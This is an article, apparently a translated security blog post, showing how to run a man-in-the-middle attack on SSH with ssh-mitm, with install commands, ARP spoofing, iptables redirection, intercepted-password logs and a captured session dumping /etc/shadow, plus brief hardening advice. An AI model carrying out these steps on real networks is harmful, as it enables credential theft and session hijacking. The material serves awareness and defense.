How well are your SSH sessions secured?

Performing daily tasks of the system administrator is considered safe when working through an SSH session. This article will discuss modern tools for conducting MITM attacks on the SSH protocol and how to protect against them.

Arsenal

sshmitm

There is a tool that appeared quite a long time ago and is called - sshmitm . It is included in the distribution kit for the Kali Linux pentest, but it supports only the first version of the SSH protocol, which in modern infrastructure imposes serious limitations.
')

mitmproxy

There is another tool that, in particular, allows you to conduct a MitM attack on the SSH protocol - mitmproxy (not to be confused with another mitmproxy ). It can be downloaded from github . This tool allows you to work with key authentication, but it did not work for me. The tool is not supported for 4 years and does not work out of the box. First you need to fix a few errors in the source code.

After correcting errors, the tool allows you to conduct a MitM attack using password authentication.



intercepter-ng

It would be strange not to mention the Intercepter-ng tool, which allows, among other things, a classic MitM attack on the SSH protocol.



ssh-mitm

And just recently another tool appeared - ssh-mitm

→ GitHub

It is an OpenSSH v7.5p1 with a patch that allows you to work as a proxy between the SSH client and the original SSH server. We will consider it in more detail.

Installation

Download the distribution in github and run the installation script

git clone https://github.com/jtesta/ssh-mitm.git cd ssh-mitm ./install.sh 

The script will install all dependencies, download the openssh-7.5p1 sources, patch them, configure and compile them. As a result, you will see a message.

 Done! The next step is to use JoesAwesomeSSHMITMVictimFinder.py to find target IPs, then execute run.sh and ARP spoof. 

This will also create the / home / ssh-mitm directory.

Conducting attack

In order to conduct a MitM attack on the SSH protocol, we first need to redirect the victim's traffic to our machine, instead of the original SSH server. After installing ssh-mitm, we can use the included script to search for ssh sessions on the network.

The JoesAwesomeSSHMITMVictimFinder.py script is in the directory where you cloned the git repository and does the following:

1. Performs an arp-spoofing block of IP addresses (the block size is set by the parameter, the default is 5)
2. Waits a few seconds (the waiting time is set by the parameter, the default is 20 seconds)
3. Displays found SSH sessions in the console
4. Move to the next block.

For arp-spoofing, ettercap is used, and for sniffing tshark network packets.
Both tools are included by default in the Kali Linux distribution.

When you run the script, you can get the message "The Python3 netaddr and / or netifaces module is not installed". Corrected by running the command:

 apt install python3-netaddr python3-netifaces 

An example of running the script:

 ./JoesAwesomeSSHMITMVictimFinder.py --interface eth0 --listen-time 5 

Example output:

 Local servers: * 192.168.1.5 -> 192.168.1.4:22 

After the targets are determined, you need to run another script - run.sh, which is also located in the git directory.

It actually starts the sshd_mitm service, sets the ip_forward system parameter to 1, thereby allowing transit packets and creates an iptables rule that redirects all packets to a fake SSH server.

 root@kalix64:~/mitm_and_spoof/ssh-mitm# iptables -t nat -L Chain PREROUTING (policy ACCEPT) target prot opt source destination REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222 root@kalix64:~/mitm_and_spoof/ssh-mitm# netstat -tlpan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 13241/sshd_mitm 

The run.sh script does not launch the arp-spoofing attack. This must be done independently, for example, with the help of arpspoof or ettercap.

 arpspoof -i eth0 -t 192.168.1.4 -r 192.168.1.5 

To obtain the victim's credentials, it is convenient to view the auth.log file with tail.

 tail -f /var/log/auth.log 

When the victim (192.168.1.5) tries to connect to the original SSH server (192.168.1.4), she will certainly see a message about changing the server’s public key

 ubuntu@gns3_1:~$ ssh ubuntu@192.168.1.4 The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established. ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM. Are you sure you want to continue connecting (yes/no)? 

UPD: In 99% of cases, many administrators answer a similar question “yes”.

Next, the victim enters the username and password, and in the auth.log log on the machine of the attacker appears

 Aug 29 16:55:08 kalix64 sshd_mitm[13426]: INTERCEPTED PASSWORD: hostname: [192.168.1.4]; username: [ubuntu]; password: [qwerty123] [preauth] Aug 29 16:55:08 kalix64 sshd_mitm[13426]: Accepted password for ssh-mitm from 192.168.1.5 port 37838 ssh2 

And we see in / home / ssh-mitm the session_0.txt file with the recorded session:

 Last login: Tue Aug 29 16:46:03 2017 from ns.secret.lab ESC]0;ubuntu@ubuntu: ~^Gubuntu@ubuntu:~$ ccdd //eettcc ESC]0;ubuntu@ubuntu: /etc^Gubuntu@ubuntu:/etc$ ccaatt //eettcc//sshhaadd ^Gow^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^? ^H^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^Gssuuddoo ssuu -- [sudo] password for ubuntu: qwerty123 ESC]0;root@ubuntu: ~^Groot@ubuntu:~# ccdd //eettcc//^?^HESC[K ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# ccaatt sshhaadd ^Gow ^G shadow shadow- ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# cat shadow root:!:17040:0:99999:7::: daemon:*:17001:0:99999:7::: bin:*:17001:0:99999:7::: sys:*:17001:0:99999:7::: sync:*:17001:0:99999:7::: games:*:17001:0:99999:7:: 

As you can see, some data is backed up. This is due to the fact that both user input and output to the screen are recorded. The sudo program, for example, temporarily disables “echo” and the password qwerty123 is displayed “normal”

ssh-mitm, in my opinion, is a recorded session in a more convenient form than mitmproxy



In the screenshot above, I tried to enter into the console

 cat /etc 

If the target server does not allow password authentication, but only by key, ssh-mitm will still offer password authentication and simply break the connection after entering the credentials, since the original server will not accept the credentials. But the attacker will get some kind of password and will be able to use it in the future, since the administrator is unlikely to enter something non-existent.

Protection

Strangely enough, but to protect against such attacks, nothing else needs to be installed in the system. All that is needed is to disable password authentication with the directive.

 PasswordAuthentication no 

And use key authentication.

This will also protect the service from credential search attacks, i.e. brute force

Also, you should not accept the changed server fingerprint indiscriminately. By itself, it usually does not change, and if you yourself are responsible for the server to which you are connecting and you know that you have not reinstalled anything, you should check once again whether there is no MitM attack currently being conducted.